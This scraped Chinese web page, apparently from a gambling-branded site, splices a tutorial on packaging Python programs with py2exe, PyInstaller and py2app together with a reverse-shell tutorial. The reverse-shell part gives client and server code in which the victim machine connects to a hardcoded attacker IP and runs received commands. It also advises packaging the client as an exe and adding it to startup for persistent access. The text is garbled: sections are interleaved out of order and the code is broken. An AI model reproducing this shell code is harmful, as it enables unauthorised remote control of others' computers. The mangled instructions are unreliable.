通过Py2exe将自己的python程序打包成.exe/.app的方法

作者:编程技术

美高梅4858官方网站 1

如果觉得内容不够细致,可以参考

反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)

程序打包成exe后能正常打开;在我自己的电脑上能完全正常运行,但是打包成exe给别人之后,oracle数据库的查询模块会报错debug之后发现是如下原因:本地没有64位oracle客户端。请教一下,是不是pyinstaller打包的时候也需要把oracle环境打包进去呢;应该怎么做呀。

开始打包应用

#服务器端import socketimport oss=socket.socket()   #创建套接字 #s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.bind(('0.0.0.0',1234))    #绑定地址和端口#0.0.0.0接收任意客户端ip连接s.listen                 #调用listen方法开始监听端口,传入的参数为等待连接的最大数量con,addr=s.accept()     #接受一个客户端的连接#printfor i in range(10):    cmd=con.recv(1024)    print    command=cmd.decode()    if command.startswith("cd"):        os.chdir(command[2:].strip   #切换路径        result=os.getcwd()      #显示路径    else:        result=os.popen.read()    if result:        con.send(result.encode    else:        con.send(b"OK!")

这时候会开始执行打包过程,最后大概是这样的

  美高梅4858官方网站 2

美高梅4858官方网站 3

反弹shell,先启用服务端,再启用客户端

打包程序
首先在桌面新建一个文件夹,我这里名字为transapp,然后把要打包的程序放在里面,我这里要打包的是translate.py文件,自己的文件夹和文件名字自己响应替换

python shell与反弹shell

保险起见,清除以前产生的build和dist文件夹,第一次操作这两个文件夹是没有的

4.接下就可以为所欲为了  美高梅4858官方网站 4

Win下发布应用

打包成exe文件时最好打包成文件夹,如何打包成单个exe文件,在win7中运行可能会出题。下图就是打包的文件夹,双击运行图中exe文件

Done!

1.把服务端打包成exe文件,然后在win7运行打包好的exe文件,python打包成exe文件这里推荐pyinstaller模块(需要安装,安装方法不会的百度)

准备好装哔~了么,来吧,做个真正意义上的绿色小软件

正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接

方法一:使用pip install pyinstaller,也可以参考: python如何安装第三方包,

客户端: 

这是多久前的产品啊,我屮艸芔茻,如果你执意要用这个请移步,然后自己去玩把,反正我下了之后,根本跑不起来,,,,不信的你可以试试咯py2exe官方下载

#反弹shell,攻击端是服务端,被攻击端是客户端#正常shell,攻击端是客户端,被攻击端是服务端#例:攻击端,被攻击端,正常shell,先在win7启动服务端,再在win10启用客户端#   反弹shell,先在win10启用服务端,再在win7启用客户端#   反弹shell的好处就是:一旦被攻击端开机,立即连接上攻击端(需要攻击端一直运行)#   正常shell需要先在攻击端开机情况下开启程序,然后攻击端运行程序,才能连接    import socketimport osimport sysimport time#print#hacker=sys.argv[1]hacker="192.168.0.144"port=1234server=(hacker,port)s=socket.socket()s.connectwhile 1:    # 得到被攻击端的所在目录,并发送    dir=os.getcwd()    #print    s.send(dir.encode    # 接收来自攻击端的命令,并进行处理    cmd=s.recv(1024).decode()    # 对接收的命令做出判断    # 退出    if cmd=="exit":        break    elif cmd.startswith("cd"):        os.chdir(cmd[2:].strip        result="切换目录成功!"    else:        result=os.popen.read()    if not result:        result="命令执行完毕!"        s.send(result.encode    time.sleep(1)    s.close()print("退出!")    

备用地址不:Pyinstaller官网下载地址,我没试过,应该也行

import sockets=socket.socket()s.connect(("192.168.0.114",1234))   #连接的服务器的ip地址,端口for i in range(10):    com=input("command:")    s.send(com.encode     #发送信息    d=s.recv           #接受数据的大小    print(d.decode

进入终端,切路径至该文件夹下

1.先在win10运行反弹shell服务端

pip install py2app

测试:(客户端、服务端

打包好的Tkint.exe已经在该目录下的dist文件夹中了。如果成功,应该多了这两个文件夹

客户端: 

但是,如果你使用pyinstaller -F -w文件名.py在别的电脑运行你的exe文件时候你看不到命令窗口,你会认为程序没有运行,打包后的exe比较大,以我的Tkint.py来说,160行的程序,打包后61MB,额,我直接插在U盘上在别的电脑运行,大概需要半分钟左右才能跑起来,所以请慢慢等待。。。。如果你还要改图标,创建目录啥的,请使用pyinstaller -h来查看参数

测试:

起因

服务端: 

安装pyinstaller,我的操作是

shell:

py2applet --make-setup translate.py

反弹shell,攻击端是服务端,被攻击端是客户端
正常shell,攻击端是客户端,被攻击端是服务端

美高梅4858官方网站 5

反弹shell:

2016.7.8补充: 利用Pyinstaller编译关联文件成exe,只要输入时候写成pyinstaller -F main.py related.py即可,其中main为主函数,其中有import related.py的函数,只要把重要的放前面就好啦,然后最后的exe文件名会以第一个命名,也就是最后形成一个main.exe就是酱紫。修改spec文件,重新加上参数再编译。按照正常步骤做过之后,在目录中还会有一个spec文件,用编辑器打开,之后修改参数,保存后,在原来操作的cmd上写入:pyinstaller main.spec即可,这个是我在gui图像生成exe格式时候,图片无法打包查阅到的,需要单独添加

服务端: 

补充

  美高梅4858官方网站 6

注意:如果运行的是gui类型程序,你不需要弹出命令窗口,你可以采用:pyinstaller -F -w文件名.py
之后你的命令窗就会跑半分钟左右,跑完之后是这样的;

2.再把反弹shell客户端打包成exe文件夹,复制到win7中,然后双击运行

先将需要打包的程序,我用自己的Tkint.py文件(自己python文件名字自己修改),把它复制到步骤1的目录下,也就是上面的C:pyinstaller-develop然后使用命令:pyinstaller -F Tkint.py(建议使用)

3.这时可以看到服务端已经和客户端连接上了。#只要服务端一直运行,如果把客户端的程序加入到开机自启,这样客户端已开启就被连接到服务端 美高梅4858官方网站 7 

找到自己的文件夹,然后里面应该有dist文件夹,打开后里面有个app,双击即可。
测试时候, py2app版本0.14,macos版本10.12.14,测试通过,最后效果图如下所示

2.在win10运行客户端

程序打包

import socketimport timeserver=("0.0.0.0",1234)s=socket.socket()s.binds.listen(5)con,addr=s.accept()print(addr,"已经接入!")while 1:    #接收来自被攻击端的所在目录    dir=con.recv(1024).decode()    cmd=input(dir ":").strip()    con.send(cmd.encode    if cmd=="exit":        break    result=con.recv(65365)    print(result.decode    time.sleep(1)s.close()print("退出!")    

美高梅4858官方网站 8 

Python 2.7

或者手动下载安装点这里

dist里面是这样的
美高梅4858官方网站 9

注意: 在同学win8/win10,64位机器上可以运行,win7 x64和其余所有32位亲测失败,会提示不兼容,所以说,如果要32/64通吃,就要在python 32位环境下(不是win32位)编译打包exe,才能在32/64成功。

2016.07.06 更新 win下发布应用
2017.07.26 跟新 mac下发布应用

进目录后输入python setup.py install

包下载

用PyInstaller将python转成可执行文件exe笔记

cd C:pyinstaller-develop

2016.7.7补坑: 基于python的参考文献生成器beta已完成,欢迎下载和使用免费下载基于python的文献生成器.exe

安装方法

亲测可用:Pyinstaller下载地址,GitHub版本,亲测可用

然后你就可以拿去给别的机器测试你的程序啦,哈哈哈哈哈

cd ~/Desktop/transapp

安装py2app

打开cmd,切到pyinstaller解压包目录,我直接放在c盘目录下了,所以我的操作是

今天实验室同学看到我的乞丐版二输入规则器,他挺感兴趣的,也想要玩玩,但是他没有装python的环境,总不能让他一直玩我电脑吧,所以想到了将程序打包成exe,直接运行!想法一出来,根本挡不住啊,说干就干,先百度python打包exe,一大堆答案,我整理了一下,大概有Py2exe和pyinstaller两种,但是,我给你看张图

BTW

python setup.py py2app

...
Modules not found (conditional imports):
 * _md5 (hashlib)
 * _sha (hashlib)
 * _sha256 (hashlib)
 * _sha512 (hashlib)
 * com (pkg_resources._vendor.appdirs)
 * com.sun.jna (pkg_resources._vendor.appdirs)
 * com.sun.jna.platform (pkg_resources._vendor.appdirs)
 * riscospath (os)
 * win32com (pkg_resources._vendor.appdirs)
 * win32com.shell (pkg_resources._vendor.appdirs)

或者

您可能感兴趣的文章:

  • 用PyInstaller把Python代码打包成单个独立的exe可执行文件
  • 使用PyInstaller将python转成可执行文件exe笔记
  • python学习笔记--将python源文件打包成exe文件(pyinstaller)
  • 使用python编写简单的小程序编译成exe跑在win10上
  • 解析Python中的eval()、exec()及其相关函数
  • python的exec、eval使用分析
  • python学习教程之使用py2exe打包
  • 详解python中executemany和序列的使用方法
  • Python之py2exe打包工具详解
  • 详解Python3.6的py文件打包生成exe

rm -rf build dist

更新

美高梅4858官方网站 10

美高梅4858官方网站 11

方法二:如果是下载github上的包之后手动安装,那么步骤是

macOS Sierra 10.12.4

Windows 10 x64

用PyInstaller把Python代码打包成单个独立的exe可执行文件

安装pyinstaller

开始产生初始化文件

Mac下发布应用

本文由美高梅4858官方网站发布,转载请注明来源

关键词: 程序 python 模块 报错 上能